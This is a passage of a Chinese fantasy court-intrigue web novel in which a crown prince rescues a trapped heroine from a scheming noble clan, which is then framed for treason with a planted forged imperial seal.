从前只听说,太子殿下温润如玉,礼贤下士。从来不知他还有颠倒黑白的本事。
东方起道:“是不是污蔑,打开密室大门,本宫一看便知。否则,本宫有权利怀疑你们李家有不轨之心!”
简单两句话,居然峰回路转。
李修终于妥协,道:“君要臣死,臣不得不死。太子若执意要看,我们李家当然也没有什么不可袒露的。”
然而狡猾如他,却不忘给东方起设一个圈套:“可若是没有太子殿下要找的人和物,又待如何?今日殿下随意闯入,惊扰女眷、窥探私人内室,传出去国公府的脸面不保,将来岂不是人人皆可登门践踏?”
东方起道:“本宫为找人而来,若是最终找不到人,本宫愿意就今日之事,向李国公负荆请罪。”
“一句负荆请罪未免太过笼统。”李修阴测测地笑着,“不如,请太子殿下下罪己诏,如何?”
这是在拿东方起的前途做赌注!
虽然他是齐昭帝唯一的子嗣,却并不受所有世家的拥戴。
尤其是李家,最初和太子联姻遭拒后,就一直怀恨在心,转而就和厉王联姻。
不久前,厉王因为一线峡伏杀太子,被褫夺爵位贬为庶人后,晋王第一时间向李世家抛来了橄榄枝。
经历过之前总总交锋,李家最不希望的便是太子将来登上皇位。
所以,他们更愿意看到晋王
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得势。一旦有机会抓住太子的痛脚,自然也绝不会手软。
他们也不怕其齐昭帝事后问罪。作为拥有千年底蕴的世家大族,他们有自己的封地,畜养私兵,比起藩王也毫不逊色。
除非犯下谋逆大罪,否则圣上都不敢随便动他们。
先前玉石镇的案子,就是如此。
哪怕齐昭帝动怒,也不过是下令斥责一番,暂停李国公在朝中的职位而已。
再过一两个月,风头过去,寻个由头就能复官,根本不算什么惩罚。
“若殿下不同意,今日我等宁死不屈!殿下也将背负上逼死士族忠臣的罪名!”
像李家这样的顶级门阀,和一般的贵族最大的区别就是,他们有实力和皇族叫板。
东方起毫不犹豫地道:“好,本宫答应。打开密室!”
他的双生符不会感应错,尤其是到了这附近之后,对林倾月的感应更为明显。他很笃定,林倾月就在里面。
所以,无论李家用什么理由来刁难他,他都必须要闯进去,不惜一切。
李修见太子应下,也不再多说,亲自过来转动机关,打开了密室大门。
然而,密室内空空荡荡,没有林倾月也没有红瑶。
东方起快步走到床榻旁,翻动着凌乱的床铺,试图寻找蛛丝马迹。
李修在旁边说着风凉话:“什么都没有,太子殿下可以消停了吗?与其在这里浪费时间,不如回东宫,想想罪己诏该如何措辞。”
东方起掀开了床上的被子,一眼就看到了床上的斑斑血迹。
李修恬不知耻地道:“在下就喜欢在密室里和爱妾颠鸾倒凤。一点小癖好,叫太子殿下见笑。”
东方起冷声道:“这一床的血污,只是你的一点小癖好?”
李修道:“弄得狠了一点,这也不算什么吧?”
然而东方起敏锐地嗅出,那是妖血。
不出意外,应该是红瑶的。
所以林倾月在这里找到了红瑶?
可她们此刻又去了哪里?
第152章 林小姐到底是何方神圣?
东方起暗自握了握双生符,默默的感应。没错,就是在这附近。可为什么人会凭空消失呢?
他在密室里四处查看,时不时跺跺脚下的地板,试图找到其他的隐藏之处。
李修将他的动作看在眼里,暗暗心惊:看来他真派人找到了这里。还好,我提前在这里设了机关和阵法,一旦有外人闯入就会触发。
想到自己的杰作,李修暗自得意:没有人知道,他除了擅长炼丹之外,还擅长空间之术。他本身也是颇有玄术天赋之人,后来又从民间搜罗到了许多歪门邪道的术法。
其中就有一种乾坤挪转之术,可以将底下的空间转移到另外一处。
所以,就算东方起掘地三尺,也挖不到任何东西。
天之骄子的太子又如何?还不是被他耍得团团转?
思及至此,李修眼底的得意都忍不住了泄露了出来。
而那一丝得意的神色,自然也未能逃过东方起的眼睛。
李修为何如此笃定我找不到?
难道人已经不在这里了?可为什么双生符的指向在这里呢?
莫非是有什么障眼法,让我寻不到?
“太子殿下,已经午时了,不知您还要在迷室里逗留多久?可需要给您送些吃食来?”
这时,东方起手下人过来禀报:“殿下,御史上奏章参了您一本。陛下差人来命您回宫。”
东方起的心里有些焦虑:他们到底把人藏到哪里去了?我不能走,我若是走了,月月必然就被动了。
他闭上眼睛,努力让自己静下心来,去感受双生符。
双生符是成对的灵符,一人佩戴一枚。两符之间能生出奇妙感应,若持符人心意相通,便如根系相缠的双生花,不仅能感知彼此方位,甚至能在识海里看到对方的环境,甚至听到对方的声音。
月月,让我感应到你此刻的环境,让我找到你!
林倾月和红瑶刚才猝不及防,落在了一处幽闭的空间里。
周围一片漆黑,直到红瑶用灵力幻化出一簇火光,才照清周围的景象。
这里看起来像是一处地下空间,四周墙壁皆用玄铁打造,密不透风。
“小姐,你还好吗?”红瑶急忙去查看林倾月的情况。
而林倾月刚才为救红瑶性命,帮她重铸妖丹,灵气透支得厉害,连站立都要靠红瑶搀扶。
红瑶无比自责:“小姐,你不该救我的!如果不是为了我,你何至于此?”
林倾月道:“能换你一命,不亏。我现在使不上力,你去试试看能不能硬闯出去。”
红瑶点了点头:“小姐,那你自己站好!”
她走到墙壁前,运起功力,一掌拍出:“砰!”沉闷的响声传出,可墙壁就是纹丝不动。
她又换了一面墙再试,可无论她从哪个方向,都没办法打开这牢笼一般的地方,还把自己弄得气喘吁吁。
林倾月道:“好了,不用再试了。看这情况,此处应该有阵法加持。你也还没有恢复完全,先调息休息一下,再做打算。”
红瑶道:“小姐,现在我丹田内运转的内丹是你给我的,你若想拿走应该轻而易举。红瑶没用,不能再拖累你。就将在这内丹还给你吧!”
她说着手指幻化出锋利的指甲,便要剖腹取丹。
林倾月按住她的手:“再取一次内丹,你必死无疑。行了,不过就是一点灵力,我稍作调息就能回来。”
“这怎么可能?”红瑶不相信。
“修行一道何其艰难。我在山里修了三百多年,才有了这点微末道行。当初被苗东所害,灵力透支逃回山中。整整用了三个月时间,才恢复往日一成的灵力。余下的九成,足足花了两年时间才得以恢复!”
也是知道其中艰难,一个不慎还有可能损伤根骨,再难精进。
所以红瑶宁可拼了自己的命不要,也要剖丹还灵。
林倾月不屑的一笑:“那是你。以后好好修炼,不要再那么菜了!”
她说罢闭目养神,调理
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内息。很快,一抹微弱的灵力就在她的丹田深处,慢慢升起。
起初还是如火星一般渺小,然而只是片刻之后,丹田内的灵力就越积越多,她整个人也沐浴在一片金色的华光里。
而红瑶也看到了林倾月周身的变化,暗暗吃惊:“竟然这么快就能修复?林小姐到底是何方神圣?”
林倾月想救红瑶不假,但也绝对不会因此让自己陷入长时间被动中。
所以,在给红瑶重铸妖丹的时候,她依然没忘记在自己的丹田内留了一点星火灵力。
虽然,灵力透支还是让自己的身体出现了片刻的虚弱。可她来到这个世界后,已经用这具身体修行了几个月,周身的筋骨都已和从前截然不同。
再加上前世的内功心法,和本身就极为强大的魂魄,足以让她在短时间之内调戏休养,恢复大半灵力。
就在她调养得差不多的时候,袖口里的双生符发出灼热的气息。
东方起在找她?
一想到东方起,林倾月的心情莫名开朗起来。
于是她也开始调动双生符,慢慢和他建立联系。
而此刻,东方起依然正站在密室的中间,闭着眼睛一言不发,努力感应着林倾月的所在。
李修在他身后喋喋不休,语气得意:“太子殿下,您别不说话呀?”
“与其在这里耽误时间,您不如早些回宫。想必此刻,御使还有不少王公大臣,都在皇宫里等着听您的解释。”
就在这时,一位李家子弟匆匆忙忙地跑来,声音故作慌张地道:
“不好了,三公子的妾室因被太子的手下冲撞,受了惊吓,不小心跌入了湖里身亡了,一尸两命!”
李修顿时就嚷嚷了起来:“太子殿下您听到了吗?在下早就劝过您,后宅这里都是女眷,不可随意闯入。现在闹出人命,还是一尸两命!虽说一个妾室不足挂齿,可也是人命关天啊!您在草拟罪己诏的时候,可千万别忘了把这一条给加上啊。”
第153章 失踪是朝澜亲王
这时,又有一人过来报告东方起:“殿下,崔国公、赵国公,以及晋王殿下,听闻太子殿下奉圣谕来探视李国公,特来拜见!”
齐国有八大顶级门阀,其中李、崔、赵、顾,世居京城,权势最盛。
且李家和赵家互为姻亲,一贯同气连枝。崔家则一贯保持中立,但最受齐昭帝信任。
今日登门,崔李两位国公也是各怀心事。
至于晋王,他的生母出自赵家,这种时候冒出来,拉拢李家的意图很明显。
在齐国虽以皇帝为尊,可千百年来世家的权势也不容小觑。
当初东方起遭遇不测,一年多未曾露面。各大世家按捺不住,纷纷以国不可无储为由,上折子施压请求齐昭帝过继嗣子,为将来早做准备。
齐昭帝迫于压力之下,才不得不把各地藩王召入京城。
由此可见,这些门阀世家对朝政的影响力之大。
如今,东方起虽已归位。可各方势力依然波涛汹涌。
尤其是今日早朝,齐昭帝又提出限定三月之内,各大藩王回归封地。
最不甘心的,当属东方宴。
他清楚地知道,自己一旦回去,想要再争皇位就难上加难。
还有林倾月,她如今已经拿到了和离书,若再执意留在京城玄镜司,那他们之间的关系再难修复。
东方宴自然不肯坐等遣返,于是借助赵家缓和了和李家的关系。
今日又听说,太子在你国公府上闹得很过分,立马丢下公务跑来浑水摸鱼——若是有机会,拿捏到太子的错处,他会毫不犹豫地落井下石。
太子纵然独得圣心,可若是将世家得罪了个遍,他的储君之位也绝对做不长久。
东方起挥了挥手,仿佛并没有在意手下人的禀报,依然屏息凝神,专心感应着双生符的气息。
忽然,他感应到了!
双生符将林倾月的声音,传入他的识海里。
等他再睁开眼睛的时候,刚才焦急、不安尽皆消散,转而看向林修:“这里确实没有本宫的副将。”
李修道:“所以太子殿下,是准备下罪己诏了吗?”
东方起道:“这里没有不代表其他地方没有,本宫要搜查国公府后花园!”
李修脸色微变,其余李氏子弟愤怒不已。
“太子殿下,您别欺人太甚!”
“国府的后花园附近几个院子,住的都是我们国公府未出格的姑娘。您这是要毁了她们的名声吗?”
东方起道:“本宫只搜查花园,不会踏入贵府小姐的闺阁。你们也可以先行传令,让诸位小姐紧闭院门,不要出来。”
“李国公是犯了什么大罪吗?太子殿下竟公然带兵抄家!”东方宴迈着轻快的步子踏入密室,他身后还跟着崔国公、赵国公。
居然看到太子殿下,几位都装模作样地行了拜礼。
赵国公道:“李国公府真是好大的面子,居然能令太子殿下亲自登门探病。咦不对,我瞧着怎么不想探病,像在抄家?李国公到底犯了什么大罪,竟如此大动干戈?”
东方宴用挑衅的目光看向东方起:“就算犯了抄家之罪,也得陛下降下抄家的圣旨才对吧?太子殿下,请问圣旨何在?”
崔国公道:“赵国公、晋王慎言。太子殿下,听闻陛下召见,不如一道进宫如何?”
东方起淡定从容地道:“并非抄家。只是本宫的副将在国公府走失,本宫忧心她的安危,所以才四处搜寻。刚刚搜查完此间密室,发现密室上的床榻有来历不明的血迹,恐怕她遭遇不测,所以本宫想再去古宫府后花园搜查一番。”
李修忙道:“殿下,这里的血迹不过就是一些下人婢子不小心沾染上的。和您要找的人并无关系。再者,这里搜不到后花园难道就能找到?我们李家不是小门小户的人家,容不得一而再再而三的羞辱。说不定您的副将自己擅离职守,回来东宫了。”
东方起道:“不可能。本宫的人,绝不会无故离本宫而去。”
东方宴轻笑:“原来竟是为了区区一个副将在大动干戈。看来世家大族,在太子殿下的眼里真是不值一提呀。”
这一句话,明晃晃地指责太
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子跋扈,对世家轻视。
果然李、赵两家都沉下了脸,崔国公虽是中立者,但也不喜欢太子对世家轻视。
东方起道:“她不是一般的副将,而是对本宫有救命之恩,曾陪伴本宫一路跋山涉水,躲过恶人的伏杀,安然回到京城的重要之人。”
东方宴神色微变:“你说的人莫非……莫非是她?”
东方起点头:“不错,是朝澜亲王林倾月。”
东方宴勃然大怒:“她何时成了你的副将?你来国公府探病,又为何要将她带来?孤男寡女,成何体统?”
东方起道:“副将是之前她护送本宫时的职务,没来得及撤职,所以本宫来国公府朝澜亲王随行陪同乃其职责所在。至于‘孤男寡女’这个词,晋王用得属实不妥。本宫身边侍者如云,何来孤、何来寡?该解释的,本宫也解释了。诸位请让开,莫要挡路!”
东方宴原本是一门心思想来落井下石的,没想到东方起居然把林倾月也给拉下了水,简直可恶至极!
可到了这种时候,哪怕关乎到林倾月的安危,他绝对不能放过打压太子的机会。
东方宴道:“就算失踪的是朝……朝澜亲王,也不能随随便便搜查国公府。皇族和世家同气连枝,岂能因为一个女人伤了和气?”
赵国公赶忙附和:“就是!那位前王妃就不是个安分守己的,放着好好的王妃不当,成日里在玄镜司和男人为伍!谁家正经女子如她这般?今日之事,谁知道是不是她故意躲藏起来,离间皇族和世家的关系。”
东方宴瞅了赵国公一眼,眼神中流露出一分不满——他不喜欢别人这样说自己的女人。
崔国公道:“殿下,今日行事有失风度。再继续下去,恐怕就不好收场了。老臣请太子回宫!”
东方起深深地看了眼李修,没有再和他们继续浪费口舌,也没有接受崔国公递来的梯子。
他走出密室、穿过书房,出了西跨院就直接往后花园而去,并大声吩咐:“搜查后花园,即便掘地三尺,也要把朝澜亲王安然找出!”
第154章 赌约
东宫的侍卫齐齐应和,呼啦啦地跟着东方起一同往后花园而去。
李家三公子高声嚷道:“李家不曾犯罪,任何人没有圣上旨意,不可随意侵犯!来人!”
李家的家丁一呼百应,挡在自家后花园的入口,一副寸步不让的模样。
如此,两方势力就此杠上。
一个是高高在上的储君,一个是头部世家,剑拔**张。
李修道:“殿下,你当真要闹得不可收场?不管是您的副将,还是朝澜亲王,我们国公府都没有理由扣押。说不定您要找的人,就在她自己的府上。”
东方起却固执地道:“她就在国公府。”
李修冷哼:“空口白话,就要满府搜查?看来太子殿下是真不把我们这些世家放在眼里!”
而东方宴还在旁边煽风点火:“太子殿下,当真要以权势相压吗?听说您刚才口口声声说,若是找不到人,甘愿下罪己诏。今日您若是冲了国公府,又准备如何收场?引咎退位吗?”
东方起冷冷地扫视了一眼周围众人,道:“今日,若不能在国公府找出朝澜亲王,本宫不仅会下罪己诏,还将引咎退位!”
此话一出,众人都变了脸色。
崔国公赶忙道:“事关重大,太子切不可儿戏!”
东方宴则反问一句:“君无戏言,太子此话可能当真?”
“自然当真,在座诸位皆可为证。”东方起顿了顿,又看向李修以及他身后的众多李家子弟,“可若是找到了朝澜亲王,李家又该如何?”
李锐正要说话,李修忙使了个眼色,对东方起道:“太子殿下想要李家如何?”
他笑了笑:“今日弄出这么大一堆阵仗,该不会是朝澜亲王和太子合演的一出戏码吧?一个躲,一个找,然后把我们李家闹得底朝天?我们李家,到底和太子什么仇什么怨?”
他倒是很聪明,把一切都推到东方起的头上,所以无论最终找不找得到人,李家都可以以无辜者的姿态而立。
东方起点点头,似乎被他这番话给堵得无言以对。
“朝澜亲王真在我们李家,不管她是故意藏着,还是不慎失踪,都算是我们家李家招呼不周。我们李家情愿,给朝澜亲王赔罪。”
说这些话,主要李修也是怕东方起反应过来,不愿意上钩才缓和下说词。
旁人不知道,但他很笃定,那位朝澜亲王一定是闯入密室发现了狐妖的所在,又不小心被困入了他所设定的空间阵法里。
所谓的空间阵法,乃是他从一本古籍孤本里学到的术法。他在自己的密室下方,和后花园分别设置了地下空间,凡是进入空间里的人和物,都可以随他的心意进行交换。
所以刚才,当太子要搜查他密室的时候,他悄悄地把密室底下的空间挪到了后花园。因此,不管太子要挖哪个地方,他都能随意将其转走。
虽然**,太子是怎么找到密室和后花园这两个位置。
但就算太子真的把后花园掘地三尺,他也可以保证他找不到任何人。
东方起的唇边噙着一丝若有若无的笑:“只是道歉,未免没有诚意。不如李二爷,以死谢罪。”
“你说什么?”李修脸色大变。
虽说他有必胜的把握,可太子居然拿他的命当赌注,实在过分!他李修虽然为庶子,但他的大哥可是李国公啊!
在外面时,也许他的身份不够高贵。但在李家,谁不拿他当嫡系看?
而此刻在太子口里,就好像他跟那些低贱的庶民一样,可以随时赌命牺牲。
“怎么,不敢了吗?”
之前还着急忙慌要寻人的东方起,此刻却突然一副不紧不慢的姿态。
难道东方起也意识到刚才的话莽撞了?后悔了?故意吓唬李修,要赌他的命?
东方宴可不想放过这大好的机会,赶忙给李修使眼色询问他是否有把握。
李修自然有把握的,他此生最得意的便是他的空间术法,尤其是吸收了狐妖的妖丹之后,他造诣提高,对空间的控制力更胜一筹。
稍作犹豫之
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后,他点头答应:“好!在座诸位皆可为证!我李家与太子殿下立下君子对赌之约,若太子殿下在后花园找到朝澜亲王,便算是我李家接待不周,我李修愿意以命抵罪!反之,若太子殿下没有找到人,就自愿下罪己诏,并引咎退位!君子一言,驷马难追!”
赵国公立马道:“好,我等为证。君子一诺,可抵千金,希望太子殿下届时莫要反悔。”
东方起道:“不会。”
东方宴见东方起答应得痛快,不免有些怀疑。
他为何这么有把握?难道是林倾月给的信心?
李家二爷精通玄术,东方宴也多少知道一些。既然他肯以命作赌,必然是有完全的把握。
东方宴略微思索后,开口道:“既然立下赌约,还是需得严谨一些方好。为了不惊扰国公府的诸位小姐,找人的范围就定在后花园。当然也不可能无限的寻找下去,不如以半个时辰为准,如何?太久了,本王怕倾月等得急。”
限定了时间、规定了范围,就算太子想要耍手段拖延或者临时改变地方,都不能了。
李修都忍不住在心底夸赞一句:还是晋王殿下想得周全。东方起这个莽夫,又蠢又冲动,哪里当得起储君之位?
东方起皱了皱眉头,似乎在权衡。
崔国公还是很认可东方起的为人,也不想他如此莽撞落入圈套,于是过来劝说:
“殿下,储君之位关乎国之根本,非同儿戏,怎可拿来与人对赌?您若是觉得,朝澜亲王可能被困于李国公府,不如回宫请旨后再行搜查。如此,也可师出有名。”
可东方起知道,自己一旦离开了,林倾月就会变得很被动。东林府之事,让李国公怀恨在心,一定不会轻易放过她。
崔国公让他回宫请旨,这一来一去要花费不少时间,他无法保证中间是否会再出意外。
而他父皇在没有充足证据的情况下,也不会随便允许他搜查过国公府。
因为这无益于和世家翻脸,得罪的是整个阶层。
第155章 本宫不会忘恩负义!
“就按晋王所言,半个时辰之内,本宫必会在后花园找回朝澜亲王!”
“太子殿下,果然看重本王的前妻啊!”东方宴加重了“前妻”二字。
“她救过本宫的命,本宫不会忘恩负义!”东方起冷冷丢下这一句话,毫不犹豫地跨进了后花园。他以储君之位、以自己的名声做赌,势要护她周全。
东方宴忽然愣了下:他这话是什么意思?不要忘恩负义?是在指桑骂槐吗?还是觉得自己的行为很高尚?
东方起顺着后花园的小径,一路走走停停。
最后,他停在了花坛旁,下令道:“来人,挖!”
身后的侍卫立刻冲出来,不管不顾地往下挖掘。
李修见状,一阵心惊肉跳:“竟然找到了地下空间的方位所在!看来太子真是有两把刷子,难怪他敢用前途去赌!”
不过李修很快就镇定下来,就算知道了又怎么样,我还是可以轻而易举的将那地下空间里的人给转移走!这就是术法的便利之处!
他悄悄地退开人群,在旁人看不见的地方,捏指捻诀,最后低低地喝一声:“乾坤倒转,变幻莫测!换!”
他的唇角勾起一抹阴冷的笑:现在只管挖吧,我保证你们除了泥土和石头,什么都挖不到!
侍卫们已经挖下去了半人多深,确实挖出了不少泥土和石头。
李修双手负在身后,志得意满地道:“殿下,可需要国公府的人帮帮您?挖了半天才挖开了这一小片,半个时辰恐怕挖不到多少地方。多几个人,也能多挖几亩地,回头我们正好可以种片牡丹园,来年请太子殿下赏花。”
东方宴讥讽一句:“若是太子此番赌约输了,引咎退位,来年可不能再称太子殿下了!”
东方起没有理会旁人,只是专心地看着那片花坛被越玩越深。
这时,一个侍卫在众目睽睽之下,从土里挖出一个上锁的小匣子,呈给东方起。
东方起没有接,道:“本宫只为寻人。这里挖出的任何物品,都归属于国公府。把东西给李二爷吧。”
于是,侍卫就把挖出来的盒子,送到了李修面前。
李修接过盒子,还觉得奇怪:“谁埋在这里的?看盒子的质地,应是上好的红木,莫非是府中下人手脚不干净,偷了东西埋在这里?不管是什么,先拿走再说。”
不等李修把东西交给手下人,不知谁忽然喊了一声:“殿下,真的找到了!”
接着就听轰隆一声,挖掘的地方猛然向下坍塌,露出一个黑黝黝的大洞。
从洞口往下看,能看到底下空间很大,犹如地窖。
两个女子躺在底下一动不动,似乎已经陷入昏迷中。
光线落下,照清了她们的模样,正是林倾月和红瑶。
“朝澜亲王,朝澜!”东方起趴在那洞口喊了两声,没听到回应。
东方宴急步上前,想要查看里面是不是林倾月。刚要探头,就被恰好起身的东方起撞得摔在地上。
东方起抢过侍卫手上的铁锹,几下之后就将洞口铲得更大。
眼看洞口大的能容人通过,他丢下铁锹,纵身跳了下去。
“月月!”东方起心急之下,忍不住唤出了她的小名。
林倾月依旧双眸紧闭,脸色还有些苍白。
东方起一颗心都紧紧地揪住:不是说没事吗?怎么昏迷了,看起来还这样严重?
这时,林倾月的一只眼睛忽然睁开,但一瞬之后又突然闭上。
装的?
虽然之前两人通过双生符,达成了默契,知道她不会有事。可直到将人搂在怀里,他才彻底放心。
也顾不得什么男女有别,他抱着林倾月纵身一跃,就跳出了那足有两人高的深坑。
他吩咐手下侍卫道:“底下还有一人,速速救起!”
东方宴看到林倾月被救出,第一感觉是遗憾:差一点就让太子滚下储君的位置了,真是可惜!
同时还忍不住用眼神去询问李修:“你不是很有把握吗?怎么如此轻易就叫他找到了人?”
李修此刻都懵了:
我的空间术法怎会失效?按理说,底下应该什么都
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挖不到才对啊?为何她们没有被转移走?
还有那狐妖,她已经失去了妖丹,就算一时没死,也不可能再变回人形了。这到底是怎么回事?
可惜,他忘了什么叫天外有天,人外有人!
在他看来,那晦涩难懂,花了很多年功夫才研究出来的空间术法,在林倾月眼里根本就不值一提。
随便破坏掉阵眼,就能让他的空间术法失效,再也挪动不了分毫。
林倾月在东方起的怀里幽幽醒转,用劫后余生般的口气道:“万幸太子殿下来救,否则本王今日必将埋骨国公府!”
东方宴此刻才想起来关心林倾月的安危,询问道:“倾月,你感觉如何?哪里不舒服?”
又发现她还依偎在东方起的怀里,顿时升起了一股醋意。
“太子殿下请自重,本王的王妃还是本王自己来照顾!”
他说着就要抱林倾月,却被东方起一个侧身给避开:“她与你已经和离,你才该自重!”
林倾月正准备从太子怀里起来,却听东方起在她耳边道:“戏还没结束,配合!”
于是,林倾月两眼一翻,再次晕厥。颇有几分演戏天赋在身上。
接下来,东方起开始问罪:“朝澜亲王好端端地护送本宫来国公府探病,怎会被关进地洞里?李家该给个解释吧?还有李修,你也该兑现刚才赌约,以死谢罪!”
李修浑身一颤,两条腿都在打颤:“殿下,刚才就是一个玩笑,玩笑……”
东方起道:“君子之约,一言九鼎。你该不会仗着是李家的人,就想违背承诺?”
“怎么回事?咳咳……”伴随着一串咳嗽传来,就见李国公被小厮用软轿抬着来到后花园。
他装病在床,不宜再出来抛头露面,只在暗地里一直盯着这里的一举一动。
本来他还想借此机会,好好给东方起一点颜色看看,以报杀子之仇。
没想到仇没报,却差点把弟弟的命也给搭上。
李国公哪里还躺得住,只能厚着脸皮一边装病,一边出来善后。
第156章 谋逆大罪
崔国公站出来把刚才的事情给说了一遍,又道:“其实方才立赌约的时候,我就觉得不妥当,也全劝解过。可惜,他们执意不肯退让。如今,朝澜亲王已被找到。虽不知道你们为什么要如此行事,可毕竟是堂堂亲王,总要给个说法?”
“大哥!”李修一看到李国公,顿时像找到了主心骨,还试图颠倒黑白,“其实刚才就是一个玩笑,没想到太子殿下认真了。”
崔国公对这个说法很不满意:“我等诸位皆为见证,分明就是君子立赌。怎可信口雌黄,以玩笑论之?世家名门的公子,一向来最终承诺。不过也难怪,李二爷你本就是庶出之子,比不得嫡出公子修养好。”
“崔国公你!”李修很愤怒,他自小养在嫡母膝下,在李家没人敢提他庶出的身份。如今被崔国公当众指出,自然又羞又恼。
李国公使了个眼神安抚弟弟,这才开口道:
“我们国公府先前多次被刺客袭击,为了府中家眷的安危,才设了些陷阱和机关。想来朝澜亲王便是误入了机关,才被关入了地下空间里。这本就是一场误会!”
“改日待我病愈之后,必亲自登门致歉。以后朝澜亲王再来国公府做客,大可亮出身份,国公府上下定热情接待,绝不会再生意外!”
这一番话,不仅把林倾月遇险之事轻而易举地定性为意外。
甚至还暗指,她隐藏身份乱闯国公府才导致意外发生。
“至于那个赌约……”
他呵呵一笑,继续说:“君子之约自然不可违。但身为兄长,总不能眼睁睁看着弟弟送命。不如用城东大街的十座旺铺,做个铜赎如何?”
齐国律法有规定:贵族犯罪,除罪大恶极者,一般案件可缴钱抵罪,称为“铜赎”。
这规矩对底层人显然不公,可贵族本就是律法的制定者,早为自己留了后路。
李国公这招既救了李修,又不至于落个背信弃义的名声。
果然姜还是老的辣。
东方起道:“既然受惊的是朝澜亲王,是否愿意铜赎,还需问过她的意见。”
林倾月恰到好处的醒来,扶了扶额头,虚弱地道:“本王刚才,仿佛听到了铜赎?”
李国公道:“朝澜亲王没有听错。”
于是又把刚才的提议给说了一遍,生怕林倾月不同意,李国公补充道:“城东大街的旺铺,每一座价值都在五万钱以上,十座便是五十万钱。”
林倾月笑得见牙不见眼:“行,成交!”
东方起被她的贪婪的样子,逗得心底暗笑不已,扬声道:“来人,取铺子的地契,帮朝澜亲王办理过户!”
立马就要办理过户?这是不是有些太过着急了?
不过太子已经开口,也算是保下了自己弟弟一命。于是李国公也不拖延,吩咐手下的管事去取地契,并配合太子的手下办理过户。
事情已解决,李国公稍稍松了口气,又开始装出虚弱的模样:“这身子真是不争气,出来的时候久一些又开始头晕眼花了。实在无法待客,请诸位千万原谅!”
这是要赶客了。
太子不来则已,来一趟就弄出这么多事,李国公心里自然不痛快。
却听东方起忽然道:“对了,刚才挖出的东西到底是什么宝贝?本宫属实好奇,李二爷何不打开看看?”
李修这才想起,自己手上一直拿着一个木匣子,此刻突然被太子问起,莫名生出一丝不好的预感来。
他正想推脱,手上的东西忽然被抽走,转眼就到了林倾月手上。
她好奇地看着:“这个匣子看起来是十分精致,只是上面沾了不少土,从何处而得?”
东方起解释说:“刚才为了救你,把国公府的花坛都给铲了,这东西便是从土里挖出来的。”
林倾月一脸天真,满眼好奇:“埋得这般隐蔽,该不会是什么稀世珍宝
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吧?”
说话间,她故意手滑了一下,小木匣子便跌落在地。
“砰!”匣子摔破,从里面滚出了一方血红色的宝玉,不偏不倚正好滚到了崔国公的脚边。
这是,红玉!
李国公的脸色顿时大变。
崔国公顺手捡起红玉啧啧称奇:“这是什么玉石吗?色泽鲜红,质地通透,属实好看!”
东方起淡淡地道:“崔国公,有所不知道这叫红玉。原本是纯洁无瑕的白玉,缝入少女胸腔,以血养玉,经年累月才能养出这般色泽如血的美玉。”
“这莫非就是东林府一案中的红玉?”崔国公虽然之前没见过,可东林府的案子闹得很大,他当然也有所耳闻。
如今案子还在审理中,但那红玉已被定性为邪玉,全部收缴封存,不允许在外头流通,以免再酿成**。
于是此刻,崔国公忽然觉得手里的玉石就变成了烫手山芋,正要放回地上,但又突然发现了什么。
“咦,底下还刻了字。是一方印章……”可当他看清楚印章上刻下的字时,手一抖红玉就跌了下去。
东方起眼疾手快手,接住了玉石,定睛一看也露出诧异神色:“受命于天,既寿永昌?这是国玺上刻的字,怎么会刻在……”
他瞬间勃然大怒,喝一声:“大胆李氏,私刻玉玺,乃是谋逆大罪!”
李国公直接就从娇辇跌了下来,惊慌失措地喊着:“这不是李家的东西!栽赃,这一定是栽赃陷害!太子殿下明鉴啊!”
李修也着急忙慌地解释:“我们李家一向忠心耿耿,乃为世家表率。绝对不可能做出大逆不道的事!”
东方起眸光骤寒,先前被李家冷落时的温吞荡然无存。
“红玉本就是你们李家所造,方才在众目睽睽下从李家挖出,出土时还锁着。之后一直由李二爷攥在手里,没经旁人手。谁能陷害?总不成是你们自导自演?”
第157章 李家,改亡了!
赵国公也没想到事情居然会发展到这种地步,犹豫了一下开口道:“这些事情未免存在太多巧合,我看……”
东方起冷声打断:“赵国公莫非知道此物的来历?”
赵国公脸色一变:“不不,我不知道!”
事关谋反大罪,就算李赵两家关系再近,也不敢沾边。于是,赵国公也不再说话。
这时,红瑶也苏醒了过来,醒得不早不晚刚刚好。
林倾月问红瑶道:“你为何会被关在李家?太子在前,可为你做主。”
红瑶以一副惊恐万分的模样,跪在太子面前:
“太子殿下容禀。民女名叫红瑶,东林府人世。先前在东林府时,被东林府长史抓到玉石矿山上做**。幸而骆国公相救,才逃出了那地狱一般的恐怖地方。”
“后来民女孤身抵达京城,本和骆国公约定好做证人,指认苗东勾结李国公为祸一方。不想,被李国公的手下发现行踪,将民女掳掠至此,受尽非人凌虐!还请太子殿下,为民女做主!”
“你,你血口喷人!”李修还在试图颠倒黑白,“你分明就是一只狐妖,根本不是什么民女,更不是什么人证!”
林倾月笑盈盈地说:“所以,她确实是被你们抓来的?”
李修:“……”
突然有种百口莫辩的无力感。
东方起道:“既然这位红瑶姑娘自称是人证,且是被骆国公所救,只要问一问骆国公就是了。但和东林府案子相比,李家谋反一案更为严重。李国公,请随本宫入宫面圣吧!”
如果说,世家大族的子弟可以凌驾于律法之上。即便草菅人命,为祸一方,也可以依仗祖荫将大罪化小,小罪化无。
那么不管什么时候,私刻玉玺,涉嫌谋反,一旦坐实了都是罪不容诛的大罪。
这个法子,不出意外来自林倾月的巧思。
在东林府时她就知道,无论这个案子最后闹得多大,都动摇不了李家的根基。
唯一破局之法,便是釜底抽薪。
就像她前世,看透了那些修仙世家的残暴恶毒后,知道唯一的解决办法就是铲除所有的毒瘤,方能一劳永逸。
**,虽然让她成为了**,却也重塑了整个世界的规则。
所以离开琼楼那日,林倾月带走了那方红玉。
当时养玉的少女赤身裸体躺着寒冰上,只剩一丝游息悬在喉头。
胸口的伤口触目惊心,那是被活活剖开,塞入玉石后又被重新缝上落下的痕迹。
偏偏她又被各种药材吊住性命,保证短期内不死,生生地忍受痛苦折磨。
见林倾月走近,她干裂的嘴唇几不可察地颤动,气若游丝:“我……好疼……求你……给我个痛快……”
林倾月取出了她被缝在身体里的血玉,本还想救她。可她最后一口气已经断绝,无力回天。
唯有双眼还死死瞪着,瞳孔里凝固着未散的惊恐,像在无声质问:为何人间,会成这般炼狱?
林倾月抬手合上了少女的眼帘,向她保证:“我定会让凶手伏法。纵然这世间真有炼狱,本座也要亲手让它灰飞烟灭。”
“受命于天,既寿永昌”这八个字,也是林倾月刻下的。
唯有这样,才能让魔鬼下地狱,告慰枉死者的在天之灵!
也是为了唱好这出戏,林倾月明明有能力自救,却还要假装被困在地底下,虚弱地等待东方起救援。
不过也幸好,东方起肯陪她疯。
